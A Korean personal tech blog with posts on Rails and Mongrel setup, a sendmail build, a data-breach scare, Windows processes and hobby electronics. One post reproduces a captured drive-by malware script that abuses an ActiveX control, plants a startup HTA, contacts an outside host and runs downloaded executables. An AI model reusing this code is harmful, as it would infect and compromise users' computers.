지난 포스트에서 루비와 레일스를 설치하였습니다. 하지만 이것만으로는 웹 서비스를 할 수 없습니다.


이번 에는 루비 온 레일스 어플리케이션windows 환경에서 웹 서비스를 해보도록 하겠습니다.


루비 온 레일스의 배포환경 문서에서는 여러 가지 방법을 제시하고 있습니다. 여기에서는 mongrel 을 이용 하여 웹 서비스 환경을 구축 하도록 하겠습니다.


1. mongrel 설치


루비 온 레일스를 웹 서비스 하기 위해서 루비에서 제공하는 웹서버인 mongrel을 설치합니다.

루비 젬을 통하여 설치 할 수 있으며 설치 중 플랫폼을 묻는 질의가 출력 될 경우 최신 버전의mswin32 타입을 선택 하시면 됩니다.


CMD 창에서 다음과 같이 입력하여 mongrel을 설치 합니다.

 

 C:\>gem install mongrel


2. win32-service 설치


windows 환경에서 서비스를 하여야 하므로 win32-service를 설치하여 줍니다.

루비 젬을 통하여 설치 할 수 있으며 설치 중 플랫폼을 묻는 질의가 출력 될 경우 최신 버전의mswin32 타입을 선택 하시면 됩니다.


CMD 창에서 다음과 같이 입력하여 win32-service를 설치 합니다.

 

 C:\>gem install win32-service


3. mongrel_service 설치


mongrel_service를 설치합니다.

루비 젬을 통하여 설치 할 수 있으며 설치 중 플랫폼을 묻는 질의가 출력 될 경우 최신 버전의mswin32 타입을 선택 하시면 됩니다.


CMD 창에서 다음과 같이 입력하여 mongrel_service를 설치 합니다.

 

 C:\>gem install mongrel_service


4. 테스트 어플리케이션 만들기


위의 설치를 마치셨으면 테스트를 하기 위해 레일스 테스트 어플리케이션을 만들어 줍니다.


CMD 창에서 다음과 같이 입력하여 테스트 어플리케이션을 만듭니다.

 

 C:\>rails test_rails

* 절대 경로 C:\> 에서 생성한 것입니다. 경로가 다를 경우 이 포스트에서 제시한 mongrel 서비스 등록 시 오류가 발생 할 수 있으니 주의 하여 주시기 바랍니다.


5. mongrel 서비스 등록


mongrel 을 사용하여 테스트 어플리케이션을 windows 서비스로 등록하여줍니다.


CMD 창에서 다음과 같이 입력하여 등록합니다.


 C:\>mongrel_rails service::install -N "test_rails" -c "C:\test_rails" -r "C:\test_rails\public" -e production -p 8000


6. 서비스 실행 및 테스트


위의 과정을 모두 마치셨으면 [시작 - 제어판 - 관리도구 - 서비스]에 위에서 등록한 서비스명 "test_rails" 가 존재 하는 것을 확인 할 수 있습니다.


서비스를 실행하여야 하므로 오른 클릭을 후 시작을 눌러 시작됨 상태로 만들어 주시면 됩니다.


이제 웹 브라우져를 실행하신 후 주소창에 http://127.0.0.1:8000 입력하여 줍니다.



축하합니다.!! 위와 같은 화면이 보이시면 설치가 완료 된 것입니다.


이렇게 해서 mongrel 설치를 마치고 루비 온 레일스 의 웹서비스 환경 마련하였습니다. 다음에는 windows 환경에서 아파치2.2.x(Apache2.2.x) 웹서버와 몽그렐(mongrel)을 연동하는 방법을 설명 하도록 하겠습니다.


- 2009.01.17 프미케 -

'전자/컴퓨터 > RUBY' 카테고리의 다른 글

Windows xp 에 루비 온 레일스(Ruby On Rails) 설치  (4) 2009.01.16

1. Ruby 설치


루비를 window 시스템에 설치하기 위해서는 루비 공식 홈페이지 다운로드 메뉴에서 최신 버전의  원클릭 인스톨러를 다운 받아 설치하시면 됩니다.


설치는 다운 받은 실행 파일을 더블 클릭한 후 Next 버튼을 눌러 설치 하시면 됩니다.


설치후 CMD 다음과 같이 입력해 줍니다.



 C:\>gem update --system


2. Rails 설치


rails 역시 루비 젬을 통하여 인스톨을 하시면 됩니다.  --include-dependencies 옵션을 사용면 설치시에 레일스가 필요로 하는 모든 라이브러리도 같이 설치하게 됩니다. 해당 구문을 실행해보니 네트웍을 통한 설치라 그런지 상당 시간이 소요 됩니다.


CMD 창에서 다음과 같이 입력하여 rails 를 설치 합니다.


C:\>gem install rails --include-dependencies


3. Mysql 드라이버 설치


데이터 베이스 시스템을 mysql 을 설치하셨다면 mysql 드라이버를 설치하여 줍니다. 루비에는 기본으로 mysql 드라이버가 포함되어 있어 이 과정을 생략해도 무방하다고 합니다.

최적의 성능을 위해서는 최신의 드라이버를 설치해주는 것이 좋습니다.

이것 역시 루베 젬을 통하여 설치합니다. CMD 창에서 아래의 명령어를 입력하시면 됩니다.


 C:\>gem install mysql


위의 명령어를 입력하시면 플랫폼 선택 질의가 나옵니다. windows 시스템에 설치하는 것이니 최신버전의 mswin32 를 선택하여 주시면 됩니다.



위의 과정을 통하여 루비와 레일스를 설치가 완료 되었습니다. 다음 포스트에서는 루비 온 레일스로 웹 서비스를 하는 방법 대하여 설명하도록 하겠습니다.


- 2009.01.16 프미케 -

퓨터를 전원을 키고 보니 2008년 12월 13일자로 업데이트를 수행하는 군요 그냥 자주 있는 흔히 있는 일이고 해서 무심코 넘어 갔는데 갑자기 서든어택 홈페이지를 들어가려 하니 알약 경고창이 뜨고 기타ROOTKIT이됬다고 나오는 군요 치료 하면 재부팅후 치료가 완료 된다고 하는군요 재부팅하고 다시 서든업택 홈페이지를 접속 해보니 경고 창이 또 열리는군요 닫고 열고를 수차례 반복하다 보니 원인을 알수 있었습니다.

래그림에서 보는 것과 같이 서든 어택 홈페이지 열리면서 키보드 보안 프로그램같이 실행 되는 것을 발견 할 수있었어요 K-Defense 네요 아무래도 알약이 바이러스 DB 를 업데이트 하고 나서 이 키보드 보안 프로그램을 Rootkit로 오진을 하는 것 같네요

이러스 경고에 순간 깜짝 놀라서 이것 저것 다 찾아봤는데 원인이 키보드 보안 프로그램을 오진 한 것으로 판단되서 안심이 되는군요.


/*****     SENDMAIL SMTP AUTH     *****/


# ftp://ftp.openssl.org/source/
# openssl-0.9.6d.tar.gz

$ gzip -dc openssl-0.9.6d.tar.gz | tar vxf -
$ cd openssl-0.9.6d
$ ./config
$ make
$ make test
$ make install


# ftp://ftp.pdc.kth.se/pub/krb/src/
# krb4-1.1.1.tar.gz

$ gzip -dc krb4-1.1.1.tar.gz | tar vxf -
$ cd krb4-1.1.1
$ ./configure
$ make
$ make install


# ftp://ftp.andrew.cmu.edu/pub/cyrus-mail/
# cyrus-sasl-2.1.2.tar.gz

$ gzip -dc cyrus-sasl-2.1.2.tar.gz | tar vxf -
$ cd cyrus-sasl-2.1.2
$ ./configure
$ make
$ make install


$ cd /usr/lib/sasl          
$ touch Sendmail.conf
$ vi Sendmail.conf

pwcheck_method: shadow


# ftp://ftp.sendmail.org/pub/sendmail/
# sendmail.8.12.3.tar.gz

$ gzip -dc sendmail.8.12.3.tar.gz | tar vxf -
$ cd sendmail.8.12.3/devtools/Site
$ vi site.config.m4

APPENDDEF(`confENVDEF', `-DSASL')
APPENDDEF(`conf_sendmail_LIBS', `-lsasl')
APPENDDEF(`confLIBDIRS', `-L/usr/lib')
APPENDDEF(`confINCDIRS', `-I/usr/include')


$ cd ../../
$ sh Build

$ cd cf/cf/
$ vi generic-linux.mc

divert(-1)
#
# Copyright (c) 1998, 1999 Sendmail, Inc. and its suppliers.
#       All rights reserved.
# Copyright (c) 1983 Eric P. Allman.  All rights reserved.
# Copyright (c) 1988, 1993
#       The Regents of the University of California.  All rights reserved.
#
# By using this file, you agree to the terms and conditions set
# forth in the LICENSE file which can be found at the top level of
# the sendmail distribution.
#
#

#
#  This is a generic configuration file for Linux.
#  It has support for local and SMTP mail only.  If you want to
#  customize it, copy it to a name appropriate for your environment
#  and do the modifications there.
#

divert(0)dnl
VERSIONID(`$Id: generic-linux.mc,v 8.1 1999/09/24 22:48:05 gshapiro Exp $')
OSTYPE(linux)dnl
DOMAIN(generic)dnl
FEATURE(access_db)dnl
FEATURE(`mailertable', `hash /etc/mail/mailertable')dnl
FEATURE(`virtusertable',`hash /etc/mail/virtusertable')dnl
MAILER(local)dnl
MAILER(smtp)dnl
TRUST_AUTH_MECH(`LOGIN PLAIN DIGEST-MD5 CRAM-MD5')dnl
define(`confAUTH_MECHANISMS', `LOGIN PLAIN DIGEST-MD5 CRAM-MD5')dnl


$ cp generic-linux.mc sendmail.mc
$ sh Build sendmail.cf
$ mkdir /etc/mail
$ sh Build install-cf

$ groupadd smmsp
$ useradd -g smmsp smmsp

$ cd ../../
$ mkdir -p /usr/man/man8/
$ mkdir -p /usr/man/man1/
$ sh Build install

$ mkdir /var/spool/mqueue
$ chown root / /etc /etc/mail /usr /var /var/spool /var/spool/mqueue
$ chmod go-w / /etc /etc/mail /usr /var /var/spool /var/spool/mqueue

$ vi /etc/mail/local-host-names
nnmm.com
okdk.com

$ vi /etc/mail/sendmail.cf

$ vi /etc/mail/relay-domains
127.0.0.1
216.236.151.
64.130.235.213

$ vi /etc/mail/aliases

# Following alias is required by the mail protocol, RFC 822
# Set it to the address of a HUMAN who deals with this system's mail problems.
Postmaster: i

# Alias for mailer daemon; returned messages from our MAILER-DAEMON
# should be routed to our local Postmaster.
MAILER-DAEMON: postmaster

# Aliases to handle mail to programs or files, eg news or vacation
# decode: "|/usr/bin/uudecode"
nobody: /dev/null

# Sample aliases:

# Alias for distribution list, members specified here:
#staff:wnj,mosher,sam,ecc,mckusick,sklower,olson,rwh@ernie

# Alias for distribution list, members specified elsewhere:
#keyboards: :include:/usr/jfarrell/keyboards.list

# Alias for a person, so they can receive mail by several names:
#epa:eric


$ newaliases

$ vi /etc/mail/access
localhost.localdomain           RELAY
localhost                       RELAY
okdk.com                        RELAY
haejuk.com                      REJECT
hacker@hacker.com               REJECT
cracker@hacker.com      550     I hate spammers like you!

$ touch /etc/mail/mailertable
$ vi /etc/mail/virtusertable

@nnmm.com   godspeed
ricky@nnmm.com   ricky
admin@okdk.com   dew@dr.com

$ makemap hash access.db < access
$ makemap hash virtusertable.db < virtusertable
$ makemap hash mailertable.db < mailertable

$ /usr/sbin/sendmail -bi
$ /usr/sbin/sendmail -bd -q15m

$ vi /etc/rc.d/init.d/sendmail

#!/bin/sh
#
# sendmail      This shell script takes care of starting and stopping
#               sendmail.
#
# chkconfig: 2345 80 30
# description: Sendmail is a Mail Transport Agent, which is the program \
#              that moves mail from one machine to another.
# processname: sendmail
# config: /etc/sendmail.cf
# pidfile: /var/run/sendmail.pid

# Source function library.
. /etc/rc.d/init.d/functions

# Source networking configuration.
. /etc/sysconfig/network

# Source sendmail configureation.
if [ -f /etc/sysconfig/sendmail ] ; then
        . /etc/sysconfig/sendmail
else
        DAEMON=yes
        QUEUE=1h
fi

# Check that networking is up.
[ ${NETWORKING} = "no" ] && exit 0

[ -f /usr/sbin/sendmail ] || exit 0

RETVAL=0

# See how we were called.
case "$1" in
  start)
        # Start daemons.

        echo -n "Starting sendmail: "
        /usr/bin/newaliases > /dev/null 2>&1
        for i in virtusertable access domaintable mailertable ; do
            if [ -f /etc/mail/$i ] ; then
                makemap hash /etc/mail/$i < /etc/mail/$i
            fi
        done
        daemon /usr/sbin/sendmail $([ "$DAEMON" = yes ] && echo -bd) \
                                  $([ -n "$QUEUE" ] && echo -q$QUEUE); \
               /usr/sbin/sendmail -L sm-msp-queue -Ac -q30m
        RETVAL=$?

        sleep 1
        echo
        if [ $RETVAL -eq 0 ] ; then
          touch /var/lock/subsys/sendmail
          cp -af /var/spool/clientmqueue/sm-client.pid /var/run/sm-client.pid
        fi
        ;;
  stop)
        # Stop daemons.
        echo -n "Shutting down sendmail: "
        killproc sendmail
        killproc sm-client
        RETVAL=$?
        echo
        if [ $RETVAL -eq 0 ] ; then
          rm -f /var/lock/subsys/sendmail
          rm -f /var/spool/clientmqueue/sm-client.pid
        fi
        ;;
  restart|reload)
        $0 stop
        $0 start
        RETVAL=$?
        ;;
  status)
        status sendmail
        RETVAL=$?
        ;;
  *)
        echo "Usage: sendmail {start|stop|restart|status}"
        exit 1
esac

exit $RETVAL


$ ntsysv


/*****     THE END     *****/

'전자/컴퓨터 > Unix/Linux' 카테고리의 다른 글

proftpd 설치 방법  (0) 2007.04.17
NetBSD3.0에 APM설치 방법  (0) 2007.04.17
전에 출근하는중에 동생한테 휴대폰으로 전화가 왔습니다. 개인정보 유출 조회를 하는 서비스에 가입을 했는데 문자로 경고 메시지가 왔다고 하는군요 뉴스를 보니 옥션 해킹으로 개인정보 유출 때문에 그런것 아니냐고 하며 저도 한번 조회 해보라고 하더군요 점심 식사후 메일을 확인해보니 비밀번호 변경 혹은 아이디 조회 메일이 와있더군요 정말 옥션 해킹으로 인해서 들어온 것 같아 깜짝 놀랬습니다.

사용자 삽입 이미지
입한 사이트들의 비밀 번호를 변경하고 메일을 보낸 사이트에 문의를 하여보니 옥션 개인정보 유출사고로 인해 여러 보안사이트에서 개인 가입 여부확인을 조회 할 경우 이런 메일이 올수 있다는 내용이 있는 답변이 있군요

사용자 삽입 이미지
침에 블로그 서핑중에 사이트체커라는 사이트에서 무료로 사이트 가입 여부를 확인해준다는 광고를 클릭해 사이트를 조회 해보았던게 생각나는군요 다시한번 주민번호를 넣고 조회 해보니 역시 비밀번호 확인메일과 임시 비밀번호 발급 메일이 오네요 근데 문제는 성인사이트에도 많이 가입 되있다고 나오는군요 (가입한 성인 사이트도 없는데 조회 결과로 봐서는 매니아 수준이군요 --;) 윽, 근데 상세정보 조회 해보려 하니 이건 유료 라는군요

사용자 삽입 이미지

러분들도 혹시 이런 메일을  받으셨나요? 혹시나 이런메일 받으신분 있으시면 사이트 가입 확인한 것이 없나 찾아보시는 것도 좋은 방법 중에 하나 같아요~


2008.04.22 -프미케-

즘 인터넷을 서핑하다보면 옥션이 해킹됬다는 내용이 뜨겁게 다뤄지고 있군요

저두 옥션은 잘쓰지는 않지만 무엇이 해킹 되었나 보았더니 개인정보가 유출 되었다는군요


떤정보가 궁금해 확인을 하려던 차에 메일을 열어보니 옥션에서 ‘해킹사고 관련 추가공지’ 라고 제목이 붙은 아래와 같은 메일이 왔네요

사용자 삽입 이미지

확인하러가기 를 눌러서 정보 유출을 눌러보니 가입정보등의 내용이 유출 되었다고 확인을 해주는 메시지가 나오는군요


직 확인 하지 않으신분들께서는 꼭 확인해보세요~


2008.04.21 -프미케-

마 전 친척 동생 집에 갔었을 때 일입니다. 컴퓨터가 너무 느려서 게임 및 여러 가지 작업을 하는데 애로사항이 있어 컴퓨터를 하나 사려고 하니 추천을 해달라고 했습니다. 컴퓨터의 사양을 보니 그렇게 나쁘지는 어느 정도 더 사용할 수 있는 기종이인지라 이것저것을 점검해보던 도중 쓸데없는 프로세스들이 가득 있는 것을 발견하고 제거를 해보니 컴퓨터를 사용하데 문제가 없을 정도의 성능이 나오는 군요 일단 컴퓨터가 느려지면 바이러스를 의심 할 수도 있으나 그래도 해결이 되지 않으면 프로세스 목록도 한번 체크를 해보시면 해결이 될 수 있다고 생각됩니다.


도우에서 프로세스는 현재 작업을 하고 있는 프로그램이라고 할 수 있습니다. 작업을 하기 때문에 컴퓨터의 자원을 소모(CPU, RAM) 하게 됩니다. 실제로 프로세스가 자리 잡으려면 일정 공간의 메모리가 사용되기 됩니다. 쓸데없는 프로세스가 많아진다면 메모리의 부족으로 인해 성능이 떨어지게 됩니다. 또, 프로그램을 종료 하였는데요 죽지 않는 거나 비정상적으로 작동하는  프로세스가 발생할 수 도 있습니다. 이런 경우에도 실제로 작업은 하지 않으나 프로세스가 존재하기 때문에 시스템 자원만 소모하게 되어 컴퓨터를 느려지게 합니다. 비정상적으로 종료 된 프로세스는 CPU를 연산을 하고 있을 가능성이 크기 때문 더욱더 컴퓨터를 사용하는데 더욱 느려지게 됩니다.


쓸데없는 프로세스를 제거 해주는 것으로 느려졌던 시스템의 성능을 향상 시킬 수 있습니다. 윈도우에서 CTRL + ALD + DEL 키를 눌러 작업 관리자를 선택하면 아래와 같은 화면이 나오게 됩니다.


사용자 삽입 이미지

림에서 보는 것과 같이 프로세스 탭을 누르게 되면 현제 자신의 컴퓨터에서 사용되고 있는 프로세스 목록이 보이게 됩니다. 이곳에서 필요 없는 프로세스를 클릭한 후에 작업 종료 버튼을을 눌러 프로세스를 제거 할수 있습니다. 하지만 컴퓨터를 부팅 하게 되면서 실행되는 프로그램 프로세스가 있기 때문에 재부팅을 하게 되면 다시 생성되게 됩니다. 그것을 제거 하려면 XP의 경우에는 시작 - 실행 을 눌러 msconfig 를 실행 시켜 시작 프로그램을 제거 해주면 해결 되며 2000의 경우에는 레지스트리를 편집하면 됩니다. 시작 - 실행 - regedit 입력후 에 HKEY_LOCAL_MUCHIN - SOFTWARE - MICROSOFT - WINDOWS - RUN 경로에 있는 내용을 보시게 되면 자신의 컴퓨터가 부팅될 때 시작되는 프로그램의 목록이 나옵니다 이곳에서 필요 없는 내용을 지워주시게 되면 다시 부팅하게 되면 시작 되지 않게 됩니다.


래는 윈도우의 기본프로세스를 정리 한 것입니다. 이것외에도 사용자의 설정에 따라 여러 가지가 있지만 대부분의 윈도에서는 아래와 같은 프로세스를 목록가지고 있으므로 참고 하시면 많은 도움이 될 것입니다.


프로세스

설          명

explore.exe

윈도우의 기본쉘 프로세스입니다. 제거하시면 바탕화면에 있는 내용이 사라지게 됩니다.

ctfmon.exe

새로운 텍스트 서비스 프로세스입니다. 윈도우의 정식프로세스는 아니며 오피스 xp에서부터 도입된 프로세스 이므로 제거하셔도 무방합니다

wuauclt.exe

윈도우 자동업데이트 프로세스입니다.

tastmgr.exe

윈도우즈 작업관리자 프로세스입니다.

iexplore.exe

인터넷 익스플로러의 프로세스입니다. 간혹 익스플로러창이 하나도 수행 되지 않는데 이 프로세스가 목록에 있다면 수동으로 제거해 주셔야 합니다.

spoolsv.exe

프린터 스플링 프로세스입니다. 이것을 제거 하시면 프린터 출력이 되지 않습니다.

svchots.exe

대부분의 컴퓨터에서 이 프로세스를 1개 이상 보실수 있습니다. dll의 실행을 그룹화 하는 프로세스입니다.

winlogin.exe

윈도우의 로그온 작업을 수행하는 프로세스입니다.

lsass.exe

winlogon.exe 요청에의해 인증과 관련된 부분을 처리하는 프로세스입니다.

services.exe

윈도우 서비스를 관리 하는 프로세스입니다.

internat.exe

우측하단 트레이에 한영 표시를 하는 프로세스입니다.

system.exe

쓰레드를 처리하는 윈도우의 기본 프로세스입니다.

System Idle Process

CPU자원을 관리 하는 프로세스입니다. 숫자가 클수록 CPU의 자원이 많이 남아있는 것입니다. 보통 프로그램이 수행되고 있다면 99~ 97의 수치를 보실 수 있습니다.

Csrss.exe

윈도우콘솔을  관장하고  쓰레드를 생성 삭제하며 16비트 가상 MSDOS 모드를  지원 하는 프로세스입니다.

smss.exe

사용자 세션을 시작하는 기능을 하는 프로세스입니다. 이 프로세스는 시스템 쓰레드에 의해 실행되며, Winlogon, Win32(Csrss.exe)을 구동시키고, 시스템 변수를 설정합니다.

mtask.exe

예약작업을 처리하는 프로세스입니다.

winmage.exe

윈도우 클라이언트를 관리 하는 프로세스입니다.


스템의 성능이 생각보다 나오지 않는다고 생각되시면 자신의 프로세스를 한번 점검해 보시고 정리해주시면 충분히 향상된 컴퓨터의 성능을 찾으실수 있습니다.


- 2007.10.16 프미케 -

마전에 인터넷에서 전시회 일정을 검색하던 중에 KES2007(한국전자전)일산 킨텍스에서 10월 9일부터 13일까지 한다고 하네요 가봐야지 했는데 어제 마침 시간이 되었어요 한 오후 3시쯤 구경하면 딱 좋을것 같아 킨텍스로 향했답니다. 집에서 가까운 거리라 전시회 마치면 집으로 걸어오기두 좋구 그래서 낼름 갔답니다. 그건 전자 전시회는 잘 안가서 많이 모 새로운게 있을까? 하구 들어갔답니다. 평일인데도 불구하고 사람이 많았어요


사용자 삽입 이미지


단 안에 들어가보니 여러개의 부스화려한 디스플레이가 눈에 들어오는군요 이리저리 돌아다니면 마침 찾던 파워부품 이있어서 옆에 계신분한테 “이거 출력 어디까지 나오나요?” 라구 물어봤는데 아저씨가 대뜸 일본어로 모라구 막 말하더군요 순간 당황해서 가만이 있었는데 옆에 아줌마가 이번엔 영어로 말하네요 그래서 그냥 ‘가다로꾸 please~' 라고 해서 카달록을 받았답니다. 이번엔 한국 업체 뿐만 아니라 중국 업체와 일본 업체들이 참여를 했더라구요 예전엔 다 한국 업체뿐이었던지라 참 갑자기 신기한 말을 하니까 참 당황되네요


사용자 삽입 이미지


리저리 돌아다니다 보니 메이저 급의 회사에서는 대형 PDP 와 LCD 들을 선보였네요 색상두 많이 좋아졌구요 음... 앞에 설명에는 머라구머라구 기술적인 요소를 잘 적어 놓구 이뿐 언니님들께서 막 헤드셋이랑 반짝이 옷입구 옆에서 신제품에 대한 설명을 해주는군요 상당히 길게 설명해주시는 것 같은데 대충 그제품이 좋다구 설명해주시는것 같군요 그래서 저두 한번 질문해 봐야지 하구 물어봤답니다. 한 102인치 티비인지 모니터인지가 눈에 들어와서 “저거 얼마예요?” 라구 물어봤더니 역시나 가격이 엄청 비싸네요 그냥 있는거나 잘 써야지 하면서 다른데로 이동했어요


사용자 삽입 이미지


번에 간곳엔 신기한것을 전시해놨네요 OLED라고 하는것을 전시했는데 모니터가 정말 얇군요 두께가 3미리 미터라네요 카드보다 더얇아요 색깔 구현도 무지 잘되구 해서 씩씩하게 “그거 얼마예요?” 라구 물어봤더니요 아직 한국에 판매 안하는데 다른 나라에서 시판한 가격 약 270만원 정도라고 하네요 11인지 정도 밖에 안되보이는 모니터인데 굉장히 비싸구나 하면서 나중에 싸지면 쓸수 있겠구나 하는 생각이 들었답니다. 전시된 제품들은 정말 이지 이제 새로 나온 기술이 접합된 것들이라 아직 대량 생산이 안되는지 정말로 비쌌어요 그래도 이런전런 신기한 제품 들을 보면서 오랜만에 전자전에 가봤더니 신제품이나 여러 가지 부품, 제품 설명해주시는 이뿐 언니 등 정말 볼것이 많았답니다.


2007.10.12 -프미케-


마전에 인터넷 익스플로러를 실행시켜서 네이버에 접속을 했는데 갑자기 스크립트 경고가 나왔습니다. 일단 다운 받기하고 열기가 있어서 다운을 받아 보니 js(java script)파일이네요 내용을 봐서 대충 뭐 URL을 찾아봤더니 http://news.163-stv.com/page/image/Downer.html 의 주소가있어서 대충 뉴스가 있는 것을 보니 네이버에 메인화면엔 뉴스가 나오니까 하고 그냥 넘어갔습니다.


늘 다른 사이트를 열었는데 다시 스크립트 경고가 나오네요 이번엔 네이버도 아니구 티스토리 인지라 무엇인가 이상해서 다시 전에 받아뒀던 스크립트 파일을 열어보았습니다. 익스플로러를 이용해서 페이지를 생성하고 하는 악성코드였네요 코드 내용은 아래와 같아요


var Good_fan = null;

function shit()

{

try{Good_fan = new ActiveXObject("\x54\x68\x75\x6E\x64\x65\x72\x53\x65\x72\x76\x65\x72\x2E\x77\x65\x62\x54\x68\x75\x6E\x64\x65\x72\x2E\x31");}

catch(e){return;}

var vip;

vip="<script defer> var shell=\"

<html>

<body>

<script>

window.moveTo(4000,4000);window.resizeTo(0,0);

var shell=new ActiveXObject(\\\"wscript.shell\\\");

shell.Run(\\\"C:\\\\\\\\Progra~1\\\\\\\\Intern~1\\\\\\\\IEXPLORE.EXE http://news.163-stv.com/page/image/Downer.html\\\",0,0);

function runmm(){var path=shell.SpecialFolders(\\\"MyDocuments\\\");

var china=path.substring(0,path.lastIndexOf(\\\"\\\\\\\\\\\"));

china+=\\\"\\\\\\\\Local Settings\\\\\\\\Temporary Internet Files\\\\\\\\Content.IE5\\\\\\\\\\\";

var sp=new ActiveXObject(\\\"shell.application\\\");

var chenzi=sp.NameSpace(china);

for(i=0;

i<chenzi.Items().Count;

i++){var Folder=chenzi.Items().Item(i).path;Folder+=\\\"\\\\\\\\page[1].exe\\\";

try{shell.Exec(Folder);

}catch(e){};

}window.close();

};

shell.Run(\\\"cmd.exe /c tree c:\\\\\\\\ /f\\\",0,1);

runmm();

<\\/script>

</body>

</html>\";

var love = new ActiveXObject(\"ADODB.Recordset\");

love.Fields.Append(\"love\", 200, 3000);love.Open();

love.AddNew();

love.Fields(\"love\").Value=shell;love.Update();

love.Save(\"C:\\\\Documents and Settings\\\\All Users\\\\「역迦」꽉데\\\\넋埼\\\\폘땡\\\\Thunder.hta\",0);

love.Close();</script>";

        var ret=Good_fan.AddCateogry(vip);

        Good_fan.SetBrowserWindowSize(0,0,400,300);

        var strps = Good_fan.GetServerPath();

        strps = strps.substr(0, strps.length-1);

        strps+="\\page\\index.htm";

        Good_fan.SetBrowserWindowData(strps,"love");

        Good_fan.HideBrowserWindow(1);

        return;

}


단 위에 있는 URL에 중국어 폰트가 설치 되지 않아서 문자는 나오지 않지만 중국어가 짐작되는 이상한 사이트로 연결 되는군요 내용을 스크립트 내용두 자세히는 모르겠지만 확실히 악성 코드 같군요


2007.09.18 -프미케-

마우스와 무선 랜 간의 간섭현상 때문에 마우스를 많이 사용하는 작업을 한다거나 혹은 게임을 할 때 상당한 스트레스를 받고 있습니다. 그럴때면 정말 던지고 싶은 충동을 느끼지만 인격수양을 한다는 생각으로 한번더 생각하며 인내하고 사용하고 있답니다.(사실은 살 때 비싸게 주고 샀기 때문이죠 크크) 801.11n 무선랜 기기들은 주파수 대역이 마우스가 것과 다르기 때문문제가 해결될 것으로 생각하구 나올때 까지 기다리다 사용할까 했지만 정말 이지 드래그 할때 한번 눌렀는데 계속 더블 클릭 현상이 계속 생기면 정말이지 유선마우스를 그냥 쓰는게 낳을것 같은 생각이 드네요 그래서 지금 쓰는것과 같은 모양의 마우스인 mx-518 을 봤어요 가격이 다른 유선 마우스에 비해 다소 비싸네요 최저가가 43500원으로 저렴 하지는 않은 가격의 마우스인데 스펙사항이 맘에 쏙 드는군요


사용자 삽입 이미지


런 이유 때문에 그냥 이걸 구매할까 아니면 사용후기를 보구 더 자세히 골라볼까 그냥 인내하면서 무선 마우스를 쓸까 하구 갈등을 하고 있답니다.


2007.09.17 -프미케-

사용자 삽입 이미지
2
003년 처음으로 무선 마우스 무선 키보드 세트를 구입 되었어요 당시에는 무선 마우스랑 키보드가 각각 10만원이 넘는 고가 장비구입할 엄두가 나지를 않았었어요. 요즘에는 컴퓨터를 구매하려면 인터넷 쇼핑몰에서 가격을 알아보고 마음에 드는 것을 주문하면 손쉽게 구매할 수 있지만 당시만 해도 인터넷 쇼핑몰이 그렇게 활성화 되어있지 않아 구매 정보는 주로 전자상가에 나가보거나 컴퓨터 잡지에 많이 의존했던 것 같아요 컴퓨터를 구입할 생각으로 전자상가를 돌아다니다 보니 로지텍무선 키보드마우스가 묶어서 12만원 정도에 파는 물건을 발견했어요 큰맘 먹구 구매해서 사용했는데 정말로 편하게 얼마간 잘 사용했답니다.


년의 시간이 흘러 무선인터넷 장비가 보급화 되었어요 무선이라 선을 넘길 필요도 없고 유선은 때에 따라서 창문 틈사이나 문틈 사이를 뚫고 선이 지나할 경우가 생기는데 이렇게 되면 지저분하고 선을 설치하는 것도 일이고 컴퓨터 위치 바꾸면 또 선위치도 바꿔야하는 번거로움을 해소하려고 인터넷 환경도 전부 무선으로 바꾸었답니다.


제는 여기에서 발생했어요 남부럽지 않게 장비를 무선으로 사용하고 있는데 이게 왠일이예요 마우스를 한번만 눌렀는데 막 더블 클릭되는 현상이 발생하는 거예요 처음엔 마우스가 고장 났나 했는데 또 조금 지나면 정상 작동하다 자기 마음대로 움직이는 거예요 또 가끔 키보드도 한번 눌렀는데 막 연속 입력되고 정말 처음엔 아이콘 드래그 하려거나 그래픽 편집 작업을 할 때면 정말이지 던지고 싶은 충동을 느끼곤 했어요 하지만 그때면 완소(완전 소심) 한 성격 탓에 항상 가격을 떠올리면서 인격을 수양하고 있답니다.


마도 무선 마우스 키보드가 2.4 GHz 를 사용하고 무선 인터넷 장비도 같은 주파수 대역을 사용해서 간섭 으로 인해서 발상한 현상 같은데 채널을 이곳 저곳 바꾸어 보았지만 사용하는 마우스랑 키보드는 채널이 달랑 두 개 뿐이라 채널을 변경해서 이런 현상완화 되긴 했지만 가끔 같은 현상이 발생 하는군요 그래두 5년 이상을 사용하다보니 정이 들어서 계속 이 마우스만 사용하게 되는군요


2007.09.04 -프미케-

사용자 삽입 이미지
전에 책에서 회로를 보고 스텝모터 구동 드라이브를 브레드 보드에 구현을 했는데 일단 모터가 작동은 했는데 이상하게 AVR보드금속부분손이 닿으면 멈추는 현상이과 발생시킨 펄스와 상관없이 모터가 계속 작동하거나 진동만 해서 회로도를 다시 보고 잘못된 곳이 있나 살펴보았지만 아직 초보인 저로서는 원인을 찾지 못했습니다.


터가 오래된 기계에서 사용되던 것을 가져 왔기 때문에 데이터 시트도 없을뿐더러 정상인지 아닌지 조차도 알 수 없어서 실험용 모터를 하나 구입하기로 했습니다. 디바이스마트에서 스텝 모터를 찾아보니 2800원의 저렴한 가격의 스텝모터가 보여 이것을 하나 구매 하였습니다.(AIRPAX LA82468-M1)


터를 바꾸어 테스트 해보았지만 정상적인 결과가 역시 나오지 않았습니다. 그리고 한참 지나 다시 L297SLA7024M브레보드를 이용하여 모터보드를 구현하니 역시 지난 번과 같이 MCU 보드의 금속 부분에 손이 닿으면 멈추거나 하는 현상이 생겼는데 모터 보드의 어스 와 MCU보드의 어스를 연결하지 않아 생기는 현상이군요


제는 스텝모터가 돌지 않고 빠르게 진동만 하는네요 몇 번의 삽질 끝에 AIRPAX LA82468-M1은 Clock pulse Time 를 길게 주니 작동을 잘 합니다. 스위치를 눌르면 한 바퀴만  돌게 했더니 잘 작동하는군요 LA82468-M1 은 고속 주행은 되지 않는 모터이긴 하지만 잘 동작 합니다.

2007.08.27 -프미케- 
